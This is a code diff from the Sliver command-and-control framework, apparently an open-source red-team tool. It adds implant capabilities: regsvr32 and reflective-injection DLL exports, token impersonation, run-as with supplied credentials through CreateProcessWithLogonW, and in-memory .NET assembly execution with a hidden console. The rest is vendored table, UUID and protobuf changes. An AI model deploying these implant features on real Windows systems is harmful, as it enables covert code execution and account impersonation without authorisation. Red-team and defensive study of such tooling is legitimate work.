// and starts a new process using that token.
|
||||
func RunProcessAsUser(username, command, args string) (out string, err error) {
|
||||
|
||||
+39
-18
@@ -42,17 +42,11 @@ import (
|
||||
"io/ioutil"
|
||||
// {{end}}
|
||||
|
||||
// {{if eq .Config.GOOS "windows"}}
|
||||
"github.com/bishopfox/sliver/implant/sliver/priv"
|
||||
"github.com/bishopfox/sliver/implant/sliver/syscalls"
|
||||
|
||||
// {{end}}
|
||||
|
||||
consts "github.com/bishopfox/sliver/implant/sliver/constants"
|
||||
"github.com/bishopfox/sliver/implant/sliver/handlers"
|
||||
"github.com/bishopfox/sliver/implant/sliver/hostuuid"
|
||||
"github.com/bishopfox/sliver/implant/sliver/locale"
|
||||
"github.com/bishopfox/sliver/implant/sliver/limits"
|
||||
"github.com/bishopfox/sliver/implant/sliver/locale"
|
||||
"github.com/bishopfox/sliver/implant/sliver/pivots"
|
||||
"github.com/bishopfox/sliver/implant/sliver/transports"
|
||||
"github.com/bishopfox/sliver/implant/sliver/version"
|
||||
@@ -127,6 +121,7 @@ func (serv *sliverService) Execute(args []string, r <-chan svc.ChangeRequest, ch
|
||||
var isRunning bool = false
|
||||
|
||||
// StartW - Export for shared lib build
|
||||
//
|
||||
//export StartW
|
||||
func StartW() {
|
||||
if !isRunning {
|
||||
@@ -139,21 +134,25 @@ func StartW() {
|
||||
//https://github.com/Ne0nd0g/merlin/blob/master/cmd/merlinagentdll/main.go#L65
|
||||
|
||||
// VoidFunc is an exported function used with PowerSploit's Invoke-ReflectivePEInjection.ps1
|
||||
//
|
||||
//export VoidFunc
|
||||
func VoidFunc() { main() }
|
||||
|
||||
// DllInstall is used when executing the Sliver implant with regsvr32.exe (i.e. regsvr32.exe /s /n /i sliver.dll)
|
||||
// https://msdn.microsoft.com/en-us/library/windows/desktop/bb759846(v=vs.85).aspx
|
||||
//
|
||||
//export DllInstall
|
||||
func DllInstall() { main() }
|
||||
|
||||
// DllRegisterServer - is used when executing the Sliver implant with regsvr32.exe (i.e. regsvr32.exe /s sliver.dll)
|
||||
// https://msdn.microsoft.com/en-us/library/windows/desktop/ms682162(v=vs.85).aspx
|
||||
//
|
||||
//export DllRegisterServer
|
||||
func DllRegisterServer() { main() }
|
||||
|
||||
// DllUnregisterServer - is used when executing the Sliver implant with regsvr32.exe (i.e. regsvr32.exe /s /u sliver.dll)
|
||||
// https://msdn.microsoft.com/en-us/library/windows/desktop/ms691457(v=vs.85).aspx
|
||||
//
|
||||
//export DllUnregisterServer
|
||||
func DllUnregisterServer() { main() }
|
||||
|
||||
@@ -409,6 +408,23 @@ func beaconMain(beacon *transports.Beacon, nextCheckin time.Time) error {
|
||||
wg.Add(1)
|
||||
data := task.Data
|
||||
taskID := task.ID
|
||||
// {{if eq .Config.GOOS "windows" }}
|
||||
go handlers.WrapperHandler(handler, data, func(data []byte, err error) {
|
||||
resultsMutex.Lock()
|
||||
defer resultsMutex.Unlock()
|
||||
defer wg.Done()
|
||||
// {{if .Config.Debug}}
|
||||
if err != nil {
|
||||
log.Printf("[beacon] handler function returned an error: %s", err)
|
||||
}
|
||||
log.Printf("[beacon] task completed (id: %d)", taskID)
|
||||
// {{end}}
|
||||
results = append(results, &sliverpb.Envelope{
|
||||
ID: taskID,
|
||||
Data: data,
|
||||
})
|
||||
})
|
||||
// {{else}}
|
||||
go handler(data, func(data []byte, err error) {
|
||||
resultsMutex.Lock()
|
||||
defer resultsMutex.Unlock()
|
||||
@@ -424,6 +440,7 @@ func beaconMain(beacon *transports.Beacon, nextCheckin time.Time) error {
|
||||
Data: data,
|
||||
})
|
||||
})
|
||||
// {{end}}
|
||||
} else if task.Type == sliverpb.MsgOpenSession {
|
||||
go openSessionHandler(task.Data)
|
||||
resultsMutex.Lock()
|
||||
@@ -566,20 +583,23 @@ func sessionMainLoop(connection *transports.Connection) error {
|
||||
// only applies the token to the calling thread, we need to call it before every task.
|
||||
// It's fucking gross to do that here, but I could not come with a better solution.
|
||||
|
||||
// {{if eq .Config.GOOS "windows" }}
|
||||
if priv.CurrentToken != 0 {
|
||||
err := syscalls.ImpersonateLoggedOnUser(priv.CurrentToken)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Error: %v\n", err)
|
||||
// {{end}}
|
||||
}
|
||||
}
|
||||
// {{end}}
|
||||
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[recv] sysHandler %d", envelope.Type)
|
||||
// {{end}}
|
||||
|
||||
// {{if eq .Config.GOOS "windows" }}
|
||||
go handlers.WrapperHandler(handler, envelope.Data, func(data []byte, err error) {
|
||||
// {{if .Config.Debug}}
|
||||
if err != nil {
|
||||
log.Printf("[session] handler function returned an error: %s", err)
|
||||
}
|
||||
// {{end}}
|
||||
connection.Send <- &sliverpb.Envelope{
|
||||
ID: envelope.ID,
|
||||
Data: data,
|
||||
}
|
||||
})
|
||||
// {{else}}
|
||||
go handler(envelope.Data, func(data []byte, err error) {
|
||||
// {{if .Config.Debug}}
|
||||
if err != nil {
|
||||
@@ -591,6 +611,7 @@ func sessionMainLoop(connection *transports.Connection) error {
|
||||
Data: data,
|
||||
}
|
||||
})
|
||||
// {{end}}
|
||||
} else if handler, ok := tunHandlers[envelope.Type]; ok {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[recv] tunHandler %d", envelope.Type)
|
||||
|
||||
@@ -9,6 +9,7 @@ package syscalls
|
||||
//sys HeapSize(hHeap windows.Handle, dwFlags uint32, lpMem uintptr) (res uint32, err error) = kernel32.HeapSize
|
||||
//sys UpdateProcThreadAttribute(lpAttributeList *PROC_THREAD_ATTRIBUTE_LIST, dwFlags uint32, attribute uintptr, lpValue *uintptr, cbSize uintptr, lpPreviousValue uintptr, lpReturnSize *uintptr) (err error) = kernel32.UpdateProcThreadAttribute
|
||||
//sys CreateProcess(appName *uint16, commandLine *uint16, procSecurity *windows.SecurityAttributes, threadSecurity *windows.SecurityAttributes, inheritHandles bool, creationFlags uint32, env *uint16, currentDir *uint16, startupInfo *StartupInfoEx, outProcInfo *windows.ProcessInformation) (err error) = kernel32.CreateProcessW
|
||||
//sys CreateProcessWithLogonW(username *uint16, domain *uint16, password *uint16, logonFlags uint32, appName *uint16, commandLine *uint16, creationFlags uint32, env *uint16, currentDir *uint16, startupInfo *StartupInfoEx, outProcInfo *windows.ProcessInformation) (err error) = advapi32.CreateProcessWithLogonW
|
||||
//sys VirtualAllocEx(hProcess windows.Handle, lpAddress uintptr, dwSize uintptr, flAllocationType uint32, flProtect uint32) (addr uintptr, err error) = kernel32.VirtualAllocEx
|
||||
//sys WriteProcessMemory(hProcess windows.Handle, lpBaseAddress uintptr, lpBuffer *byte, nSize uintptr, lpNumberOfBytesWritten *uintptr) (err error) = kernel32.WriteProcessMemory
|
||||
//sys VirtualProtectEx(hProcess windows.Handle, lpAddress uintptr, dwSize uintptr, flNewProtect uint32, lpflOldProtect *uint32) (err error) = kernel32.VirtualProtectEx
|
||||
|
||||
@@ -62,6 +62,7 @@ var (
|
||||
procGetDC = modUser32.NewProc("GetDC")
|
||||
procGetDesktopWindow = modUser32.NewProc("GetDesktopWindow")
|
||||
procReleaseDC = modUser32.NewProc("ReleaseDC")
|
||||
procCreateProcessWithLogonW = modadvapi32.NewProc("CreateProcessWithLogonW")
|
||||
procImpersonateLoggedOnUser = modadvapi32.NewProc("ImpersonateLoggedOnUser")
|
||||
procLogonUserW = modadvapi32.NewProc("LogonUserW")
|
||||
procLookupPrivilegeDisplayNameW = modadvapi32.NewProc("LookupPrivilegeDisplayNameW")
|
||||
@@ -222,6 +223,14 @@ func ReleaseDC(hWnd windows.Handle, hDC windows.Handle) (int uint32, err error)
|
||||
return
|
||||
}
|
||||
|
||||
func CreateProcessWithLogonW(username *uint16, domain *uint16, password *uint16, logonFlags uint32, appName *uint16, commandLine *uint16, creationFlags uint32, env *uint16, currentDir *uint16, startupInfo *StartupInfoEx, outProcInfo *windows.ProcessInformation) (err error) {
|
||||
r1, _, e1 := syscall.Syscall12(procCreateProcessWithLogonW.Addr(), 11, uintptr(unsafe.Pointer(username)), uintptr(unsafe.Pointer(domain)), uintptr(unsafe.Pointer(password)), uintptr(logonFlags), uintptr(unsafe.Pointer(appName)), uintptr(unsafe.Pointer(commandLine)), uintptr(creationFlags), uintptr(unsafe.Pointer(env)), uintptr(unsafe.Pointer(currentDir)), uintptr(unsafe.Pointer(startupInfo)), uintptr(unsafe.Pointer(outProcInfo)), 0)
|
||||
if r1 == 0 {
|
||||
err = errnoErr(e1)
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
func ImpersonateLoggedOnUser(hToken windows.Token) (err error) {
|
||||
r1, _, e1 := syscall.Syscall(procImpersonateLoggedOnUser.Addr(), 1, uintptr(hToken), 0, 0)
|
||||
if r1 == 0 {
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
// Code generated by protoc-gen-go. DO NOT EDIT.
|
||||
// versions:
|
||||
// protoc-gen-go v1.27.1
|
||||
// protoc v3.21.6
|
||||
// protoc-gen-go v1.26.0
|
||||
// protoc v3.21.8
|
||||
// source: clientpb/client.proto
|
||||
|
||||
package clientpb
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
// Code generated by protoc-gen-go. DO NOT EDIT.
|
||||
// versions:
|
||||
// protoc-gen-go v1.27.1
|
||||
// protoc v3.21.6
|
||||
// protoc-gen-go v1.26.0
|
||||
// protoc v3.21.8
|
||||
// source: commonpb/common.proto
|
||||
|
||||
package commonpb
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
// Code generated by protoc-gen-go. DO NOT EDIT.
|
||||
// versions:
|
||||
// protoc-gen-go v1.27.1
|
||||
// protoc v3.21.6
|
||||
// protoc-gen-go v1.26.0
|
||||
// protoc v3.21.8
|
||||
// source: dnspb/dns.proto
|
||||
|
||||
package dnspb
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
// Code generated by protoc-gen-go. DO NOT EDIT.
|
||||
// versions:
|
||||
// protoc-gen-go v1.27.1
|
||||
// protoc v3.21.6
|
||||
// protoc-gen-go v1.26.0
|
||||
// protoc v3.21.8
|
||||
// source: rpcpb/services.proto
|
||||
|
||||
package rpcpb
|
||||
|
||||
+913
-864
File diff suppressed because it is too large.
Load diff
@@ -284,6 +284,10 @@ message RunAsReq {
|
||||
string Username = 1;
|
||||
string ProcessName = 2;
|
||||
string Args = 3;
|
||||
string Domain = 4;
|
||||
string Password = 5;
|
||||
bool HideWindow = 6;
|
||||
bool NetOnly = 7;
|
||||
|
||||
commonpb.Request Request = 9;
|
||||
}
|
||||
@@ -340,6 +344,7 @@ message MakeTokenReq {
|
||||
string Username = 1;
|
||||
string Password = 2;
|
||||
string Domain = 3;
|
||||
uint32 LogonType = 4;
|
||||
|
||||
commonpb.Request Request = 9;
|
||||
}
|
||||
|
||||
@@ -27,6 +27,7 @@ import (
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/bishopfox/sliver/server/codenames"
|
||||
"github.com/bishopfox/sliver/server/core"
|
||||
"github.com/bishopfox/sliver/server/cryptography"
|
||||
"github.com/bishopfox/sliver/server/generate"
|
||||
@@ -77,6 +78,13 @@ func (rpc *Server) Backdoor(ctx context.Context, req *sliverpb.BackdoorReq) (*sl
|
||||
return nil, fmt.Errorf("please select a profile targeting a shellcode format")
|
||||
}
|
||||
|
||||
if p.Config.Name == "" {
|
||||
p.Config.Name, err = codenames.GetCodename()
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
}
|
||||
|
||||
name, config := generate.ImplantConfigFromProtobuf(p.Config)
|
||||
otpSecret, _ := cryptography.TOTPServerSecret()
|
||||
err = generate.GenerateConfig(name, config, true)
|
||||
|
||||
+38
@@ -0,0 +1,38 @@
|
||||
# Changelog
|
||||
All notable changes to this project will be documented in this file.
|
||||
|
||||
The format is based on [Keep a Changelog](http://keepachangelog.com/en/1.0.0/)
|
||||
and this project adheres to [Semantic Versioning](http://semver.org/spec/v2.0.0.html).
|
||||
|
||||
## 1.0.3 2022-11-10
|
||||
|
||||
## Changed
|
||||
|
||||
- Merged [Pull 3](https://github.com/Ne0nd0g/go-clr/pull/3) from @mec07 to return errors instead of exiting the program
|
||||
|
||||
### Fixed
|
||||
|
||||
- [Issue 4](https://github.com/Ne0nd0g/go-clr/issues/4) - Application's Without A Console Will Not Return Output
|
||||
|
||||
## 1.0.2 2022-04-02
|
||||
|
||||
### Fixed
|
||||
|
||||
- Merged [Pull 2](https://github.com/Ne0nd0g/go-clr/pull/2) from @audibleblink that fixed an error when attempting to
|
||||
load correctly targeted assemblies through
|
||||
|
||||
### Changed
|
||||
|
||||
- Upgraded supporting Go modules
|
||||
|
||||
## 1.0.1 2021-04-08
|
||||
|
||||
- Learned how to correctly use tags and updated import
|
||||
|
||||
## 1.0.0 2021-04-08
|
||||
|
||||
- Initial tagged version from forked
|
||||
|
||||
### Added
|
||||
|
||||
- Added buffer to collect redirected STDOUT/STDERR
|
||||
+21
-10
@@ -1,6 +1,7 @@
|
||||
//go:build windows
|
||||
// +build windows
|
||||
|
||||
// go-clr is a PoC package that wraps Windows syscalls necessary to load and the CLR into the current process and
|
||||
// Package clr is a PoC package that wraps Windows syscalls necessary to load and the CLR into the current process and
|
||||
// execute a managed DLL from disk or a managed EXE from memory
|
||||
package clr
|
||||
|
||||
@@ -11,7 +12,7 @@ import (
|
||||
"unsafe"
|
||||
)
|
||||
|
||||
// GetInstallRuntimes is a wrapper function that returns an array of installed runtimes. Requires an existing ICLRMetaHost
|
||||
// GetInstalledRuntimes is a wrapper function that returns an array of installed runtimes. Requires an existing ICLRMetaHost
|
||||
func GetInstalledRuntimes(metahost *ICLRMetaHost) ([]string, error) {
|
||||
var runtimes []string
|
||||
enumICLRRuntimeInfo, err := metahost.EnumerateInstalledRuntimes()
|
||||
@@ -89,16 +90,26 @@ func ExecuteDLLFromDisk(targetRuntime, dllpath, typeName, methodName, argument s
|
||||
}
|
||||
|
||||
pDLLPath, err := syscall.UTF16PtrFromString(dllpath)
|
||||
must(err)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
pTypeName, err := syscall.UTF16PtrFromString(typeName)
|
||||
must(err)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
pMethodName, err := syscall.UTF16PtrFromString(methodName)
|
||||
must(err)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
pArgument, err := syscall.UTF16PtrFromString(argument)
|
||||
must(err)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
ret, err := runtimeHost.ExecuteInDefaultAppDomain(pDLLPath, pTypeName, pMethodName, pArgument)
|
||||
must(err)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
if *ret != 0 {
|
||||
return int16(*ret), fmt.Errorf("the ICLRRuntimeHost::ExecuteInDefaultAppDomain method returned a non-zero return value: %d", *ret)
|
||||
}
|
||||
@@ -200,7 +211,7 @@ func ExecuteByteArray(targetRuntime string, rawBytes []byte, params []string) (r
|
||||
|
||||
// LoadCLR loads the target runtime into the current process and returns the runtimehost
|
||||
// The intended purpose is for the runtimehost to be reused for subsequent operations
|
||||
// throught the duration of the program. Commonly used with C2 frameworks
|
||||
// throughout the duration of the program. Commonly used with C2 frameworks
|
||||
func LoadCLR(targetRuntime string) (runtimeHost *ICORRuntimeHost, err error) {
|
||||
if targetRuntime == "" {
|
||||
targetRuntime = "v4"
|
||||
@@ -300,7 +311,7 @@ func ExecuteByteArrayDefaultDomain(runtimeHost *ICORRuntimeHost, rawBytes []byte
|
||||
|
||||
// LoadAssembly uses a previously instantiated runtimehost and loads an assembly into the default AppDomain
|
||||
// and returns the assembly's methodInfo structure. The intended purpose is for the assembly to be loaded
|
||||
// once but executed many times throught the duration of the program. Commonly used with C2 frameworks
|
||||
// once but executed many times throughout the duration of the program. Commonly used with C2 frameworks
|
||||
func LoadAssembly(runtimeHost *ICORRuntimeHost, rawBytes []byte) (methodInfo *MethodInfo, err error) {
|
||||
appDomain, err := GetAppDomain(runtimeHost)
|
||||
if err != nil {
|
||||
@@ -319,7 +330,7 @@ func LoadAssembly(runtimeHost *ICORRuntimeHost, rawBytes []byte) (methodInfo *Me
|
||||
}
|
||||
|
||||
// InvokeAssembly uses the MethodInfo structure of a previously loaded assembly and executes it.
|
||||
// The intended purpose is for the assembly to be executed many times throught the duration of the
|
||||
// The intended purpose is for the assembly to be executed many times throughout the duration of the
|
||||
// program. Commonly used with C2 frameworks
|
||||
func InvokeAssembly(methodInfo *MethodInfo, params []string) (stdout string, stderr string) {
|
||||
var paramSafeArray *SafeArray
|
||||
|
||||
+32
-2
@@ -1,3 +1,4 @@
|
||||
//go:build windows
|
||||
// +build windows
|
||||
|
||||
package clr
|
||||
@@ -8,6 +9,7 @@ import (
|
||||
"fmt"
|
||||
"os"
|
||||
"sync"
|
||||
"syscall"
|
||||
"time"
|
||||
|
||||
"golang.org/x/sys/windows"
|
||||
@@ -58,13 +60,41 @@ func RedirectStdoutStderr() (err error) {
|
||||
return
|
||||
}
|
||||
|
||||
// Createa new reader and writer for STDERR
|
||||
// Create a new reader and writer for STDERR
|
||||
rSTDERR, wSTDERR, err = os.Pipe()
|
||||
if err != nil {
|
||||
err = fmt.Errorf("there was an error calling the os.Pipe() function to create a new STDERR:\n%s", err)
|
||||
return
|
||||
}
|
||||
|
||||
kernel32 := windows.NewLazySystemDLL("kernel32.dll")
|
||||
getConsoleWindow := kernel32.NewProc("GetConsoleWindow")
|
||||
|
||||
// Ensure the process has a console because if it doesn't there will be no output to capture
|
||||
hConsole, _, _ := getConsoleWindow.Call()
|
||||
if hConsole == 0 {
|
||||
// https://learn.microsoft.com/en-us/windows/console/allocconsole
|
||||
allocConsole := kernel32.NewProc("AllocConsole")
|
||||
// BOOL WINAPI AllocConsole(void);
|
||||
ret, _, err := allocConsole.Call()
|
||||
// A process can be associated with only one console, so the AllocConsole function fails if the calling process
|
||||
// already has a console. So long as any console exists we are good to go and therefore don't care about errors
|
||||
if ret == 0 {
|
||||
return fmt.Errorf("there was an error calling kernel32!AllocConsole with return code %d: %s", ret, err)
|
||||
}
|
||||
|
||||
// Get a handle to the newly created/allocated console
|
||||
hConsole, _, _ = getConsoleWindow.Call()
|
||||
|
||||
user32 := windows.NewLazySystemDLL("user32.dll")
|
||||
showWindow := user32.NewProc("ShowWindow")
|
||||
// Hide the console window
|
||||
ret, _, err = showWindow.Call(hConsole, windows.SW_HIDE)
|
||||
if err != syscall.Errno(0) {
|
||||
return fmt.Errorf("there was an error calling user32!ShowWindow with return %+v: %s", ret, err)
|
||||
}
|
||||
}
|
||||
|
||||
// Set STDOUT/STDERR to the new files from os.Pipe()
|
||||
// https://docs.microsoft.com/en-us/windows/console/setstdhandle
|
||||
if err = windows.SetStdHandle(windows.STD_OUTPUT_HANDLE, windows.Handle(wSTDOUT.Fd())); err != nil {
|
||||
@@ -132,7 +162,7 @@ func ReadStdoutStderr() (stdout string, stderr string, err error) {
|
||||
return
|
||||
}
|
||||
|
||||
// CloseSTdoutStderr closes the Reader/Writer for the prviously redirected STDOUT/STDERR
|
||||
// CloseStdoutStderr closes the Reader/Writer for the previously redirected STDOUT/STDERR
|
||||
// that was changed to an *os.File
|
||||
func CloseStdoutStderr() (err error) {
|
||||
err = rSTDOUT.Close()
|
||||
|
||||
-8
@@ -5,7 +5,6 @@ package clr
|
||||
import (
|
||||
"bytes"
|
||||
"fmt"
|
||||
"log"
|
||||
"strings"
|
||||
"unicode/utf16"
|
||||
"unsafe"
|
||||
@@ -25,13 +24,6 @@ func checkOK(hr uintptr, caller string) error {
|
||||
}
|
||||
}
|
||||
|
||||
// must forces the program to exit if there is an error using the log.Fatal command
|
||||
func must(err error) {
|
||||
if err != nil {
|
||||
log.Fatal(err)
|
||||
}
|
||||
}
|
||||
|
||||
func utf16Le(s string) []byte {
|
||||
enc := unicode.UTF16(unicode.LittleEndian, unicode.IgnoreBOM).NewEncoder()
|
||||
var buf bytes.Buffer
|
||||
|
||||
+1
-1
@@ -285,7 +285,7 @@ func (g *Gen) NewV7() (UUID, error) {
|
||||
}
|
||||
|
||||
tn := g.epochFunc()
|
||||
ms := uint64(tn.UnixMilli())
|
||||
ms := uint64(tn.Unix())*1e3 + uint64(tn.Nanosecond())/1e6
|
||||
u[0] = byte(ms >> 40)
|
||||
u[1] = byte(ms >> 32)
|
||||
u[2] = byte(ms >> 24)
|
||||
|
||||
+9
-9
@@ -364,15 +364,16 @@ func (t *Table) renderRowsHeader(out *strings.Builder) {
|
||||
|
||||
func (t *Table) renderTitle(out *strings.Builder) {
|
||||
if t.title != "" {
|
||||
colors := t.style.Title.Colors
|
||||
rowLength := t.maxRowLength
|
||||
if t.allowedRowLength != 0 && t.allowedRowLength < rowLength {
|
||||
rowLength = t.allowedRowLength
|
||||
}
|
||||
if t.style.Options.DrawBorder {
|
||||
lenBorder := rowLength - text.RuneWidthWithoutEscSequences(t.style.Box.TopLeft+t.style.Box.TopRight)
|
||||
out.WriteString(t.style.Box.TopLeft)
|
||||
out.WriteString(text.RepeatAndTrim(t.style.Box.MiddleHorizontal, lenBorder))
|
||||
out.WriteString(t.style.Box.TopRight)
|
||||
out.WriteString(colors.Sprint(t.style.Box.TopLeft))
|
||||
out.WriteString(colors.Sprint(text.RepeatAndTrim(t.style.Box.MiddleHorizontal, lenBorder)))
|
||||
out.WriteString(colors.Sprint(t.style.Box.TopRight))
|
||||
}
|
||||
|
||||
lenText := rowLength - text.RuneWidthWithoutEscSequences(t.style.Box.PaddingLeft+t.style.Box.PaddingRight)
|
||||
@@ -381,26 +382,25 @@ func (t *Table) renderTitle(out *strings.Builder) {
|
||||
}
|
||||
titleText := text.WrapText(t.title, lenText)
|
||||
for _, titleLine := range strings.Split(titleText, "\n") {
|
||||
t.renderTitleLine(out, lenText, titleLine)
|
||||
t.renderTitleLine(out, lenText, titleLine, colors)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func (t *Table) renderTitleLine(out *strings.Builder, lenText int, titleLine string) {
|
||||
func (t *Table) renderTitleLine(out *strings.Builder, lenText int, titleLine string, colors text.Colors) {
|
||||
titleLine = strings.TrimSpace(titleLine)
|
||||
titleLine = t.style.Title.Format.Apply(titleLine)
|
||||
titleLine = t.style.Title.Align.Apply(titleLine, lenText)
|
||||
titleLine = t.style.Box.PaddingLeft + titleLine + t.style.Box.PaddingRight
|
||||
titleLine = t.style.Title.Colors.Sprint(titleLine)
|
||||
|
||||
if out.Len() > 0 {
|
||||
out.WriteRune('\n')
|
||||
}
|
||||
if t.style.Options.DrawBorder {
|
||||
out.WriteString(t.style.Box.Left)
|
||||
out.WriteString(colors.Sprint(t.style.Box.Left))
|
||||
}
|
||||
out.WriteString(titleLine)
|
||||
out.WriteString(colors.Sprint(titleLine))
|
||||
if t.style.Options.DrawBorder {
|
||||
out.WriteString(t.style.Box.Right)
|
||||
out.WriteString(colors.Sprint(t.style.Box.Right))
|
||||
}
|
||||
}
|
||||
+34
@@ -0,0 +1,34 @@
|
||||
package table
|
||||
|
||||
// renderHint has hints for the Render*() logic
|
||||
type renderHint struct {
|
||||
isAutoIndexColumn bool // auto-index column?
|
||||
isAutoIndexRow bool // auto-index row?
|
||||
isBorderBottom bool // bottom-border?
|
||||
isBorderTop bool // top-border?
|
||||
isFirstRow bool // first-row of header/footer/regular-rows?
|
||||
isFooterRow bool // footer row?
|
||||
isHeaderRow bool // header row?
|
||||
isLastLineOfRow bool // last-line of the current row?
|
||||
isLastRow bool // last-row of header/footer/regular-rows?
|
||||
isSeparatorRow bool // separator row?
|
||||
rowLineNumber int // the line number for a multi-line row
|
||||
rowNumber int // the row number/index
|
||||
}
|
||||
|
||||
func (h *renderHint) isRegularRow() bool {
|
||||
return !h.isHeaderRow && !h.isFooterRow
|
||||
}
|
||||
|
||||
func (h *renderHint) isRegularNonSeparatorRow() bool {
|
||||
return !h.isHeaderRow && !h.isFooterRow && !h.isSeparatorRow
|
||||
}
|
||||
|
||||
func (h *renderHint) isHeaderOrFooterSeparator() bool {
|
||||
return h.isSeparatorRow && !h.isBorderBottom && !h.isBorderTop &&
|
||||
((h.isHeaderRow && !h.isLastRow) || (h.isFooterRow && (!h.isFirstRow || h.rowNumber > 0)))
|
||||
}
|
||||
|
||||
func (h *renderHint) isLastLineOfLastRow() bool {
|
||||
return h.isLastLineOfRow && h.isLastRow
|
||||
}
|
||||
+119
-80
@@ -371,12 +371,14 @@ func (t *Table) getAutoIndexColumnIDs() rowStr {
|
||||
}
|
||||
|
||||
func (t *Table) getBorderColors(hint renderHint) text.Colors {
|
||||
if hint.isFooterRow {
|
||||
if hint.isHeaderRow {
|
||||
return t.style.Color.Header
|
||||
} else if hint.isFooterRow {
|
||||
return t.style.Color.Footer
|
||||
} else if t.autoIndex {
|
||||
return t.style.Color.IndexColumn
|
||||
}
|
||||
return t.style.Color.Header
|
||||
return t.style.Color.Row
|
||||
}
|
||||
|
||||
func (t *Table) getBorderLeft(hint renderHint) string {
|
||||
@@ -557,6 +559,43 @@ func (t *Table) getMaxColumnLengthForMerging(colIdx int) int {
|
||||
return maxColumnLength
|
||||
}
|
||||
|
||||
// getMergedColumnIndices returns a map of colIdx values to all the other colIdx
|
||||
// values (that are being merged) and their lengths.
|
||||
func (t *Table) getMergedColumnIndices(row rowStr, hint renderHint) map[int]map[int]bool {
|
||||
if !t.getRowConfig(hint).AutoMerge {
|
||||
return nil
|
||||
}
|
||||
|
||||
rsp := make(map[int]map[int]bool)
|
||||
appendColumnsToResponse := func(colIdx, otherColIdx int) {
|
||||
if rsp[colIdx] == nil {
|
||||
rsp[colIdx] = make(map[int]bool)
|
||||
}
|
||||
if rsp[otherColIdx] == nil {
|
||||
rsp[otherColIdx] = make(map[int]bool)
|
||||
}
|
||||
rsp[colIdx][otherColIdx] = true
|
||||
rsp[otherColIdx][colIdx] = true
|
||||
}
|
||||
for colIdx := 0; colIdx < t.numColumns-1; colIdx++ {
|
||||
// look backward
|
||||
for otherColIdx := colIdx - 1; colIdx >= 0 && otherColIdx >= 0; otherColIdx-- {
|
||||
if row[colIdx] != row[otherColIdx] {
|
||||
break
|
||||
}
|
||||
appendColumnsToResponse(colIdx, otherColIdx)
|
||||
}
|
||||
// look forward
|
||||
for otherColIdx := colIdx + 1; colIdx < len(row) && otherColIdx < len(row); otherColIdx++ {
|
||||
if row[colIdx] != row[otherColIdx] {
|
||||
break
|
||||
}
|
||||
appendColumnsToResponse(colIdx, otherColIdx)
|
||||
}
|
||||
}
|
||||
return rsp
|
||||
}
|
||||
|
||||
func (t *Table) getRow(rowIdx int, hint renderHint) rowStr {
|
||||
switch {
|
||||
case hint.isHeaderRow:
|
||||
@@ -627,6 +666,39 @@ func (t *Table) hasHiddenColumns() bool {
|
||||
return false
|
||||
}
|
||||
|
||||
func (t *Table) hideColumns() map[int]int {
|
||||
colIdxMap := make(map[int]int)
|
||||
numColumns := 0
|
||||
hideColumnsInRows := func(rows []rowStr) []rowStr {
|
||||
var rsp []rowStr
|
||||
for _, row := range rows {
|
||||
var rowNew rowStr
|
||||
for colIdx, col := range row {
|
||||
cc := t.columnConfigMap[colIdx]
|
||||
if !cc.Hidden {
|
||||
rowNew = append(rowNew, col)
|
||||
colIdxMap[colIdx] = len(rowNew) - 1
|
||||
}
|
||||
}
|
||||
if len(rowNew) > numColumns {
|
||||
numColumns = len(rowNew)
|
||||
}
|
||||
rsp = append(rsp, rowNew)
|
||||
}
|
||||
return rsp
|
||||
}
|
||||
|
||||
// hide columns as directed
|
||||
t.rows = hideColumnsInRows(t.rows)
|
||||
t.rowsFooter = hideColumnsInRows(t.rowsFooter)
|
||||
t.rowsHeader = hideColumnsInRows(t.rowsHeader)
|
||||
|
||||
// reset numColumns to the new number of columns
|
||||
t.numColumns = numColumns
|
||||
|
||||
return colIdxMap
|
||||
}
|
||||
|
||||
func (t *Table) initForRender() {
|
||||
// pick a default style if none was set until now
|
||||
t.Style()
|
||||
@@ -668,16 +740,12 @@ func (t *Table) initForRenderColumnConfigs() {
|
||||
|
||||
func (t *Table) initForRenderColumnLengths() {
|
||||
t.maxColumnLengths = make([]int, t.numColumns)
|
||||
t.parseRowForMaxColumnLengths(t.rowsHeader)
|
||||
t.parseRowForMaxColumnLengths(t.rows)
|
||||
t.parseRowForMaxColumnLengths(t.rowsFooter)
|
||||
t.parseRowForMaxColumnLengths(t.rowsHeader, renderHint{isHeaderRow: true})
|
||||
t.parseRowForMaxColumnLengths(t.rows, renderHint{})
|
||||
t.parseRowForMaxColumnLengths(t.rowsFooter, renderHint{isFooterRow: true})
|
||||
|
||||
// restrict the column lengths if any are over or under the limits
|
||||
// increase the column lengths if any are under the limits
|
||||
for colIdx := range t.maxColumnLengths {
|
||||
maxWidth := t.getColumnWidthMax(colIdx)
|
||||
if maxWidth > 0 && t.maxColumnLengths[colIdx] > maxWidth {
|
||||
t.maxColumnLengths[colIdx] = maxWidth
|
||||
}
|
||||
minWidth := t.getColumnWidthMin(colIdx)
|
||||
if minWidth > 0 && t.maxColumnLengths[colIdx] < minWidth {
|
||||
t.maxColumnLengths[colIdx] = minWidth
|
||||
@@ -685,39 +753,6 @@ func (t *Table) initForRenderColumnLengths() {
|
||||
}
|
||||
}
|
||||
|
||||
func (t *Table) hideColumns() map[int]int {
|
||||
colIdxMap := make(map[int]int)
|
||||
numColumns := 0
|
||||
hideColumnsInRows := func(rows []rowStr) []rowStr {
|
||||
var rsp []rowStr
|
||||
for _, row := range rows {
|
||||
var rowNew rowStr
|
||||
for colIdx, col := range row {
|
||||
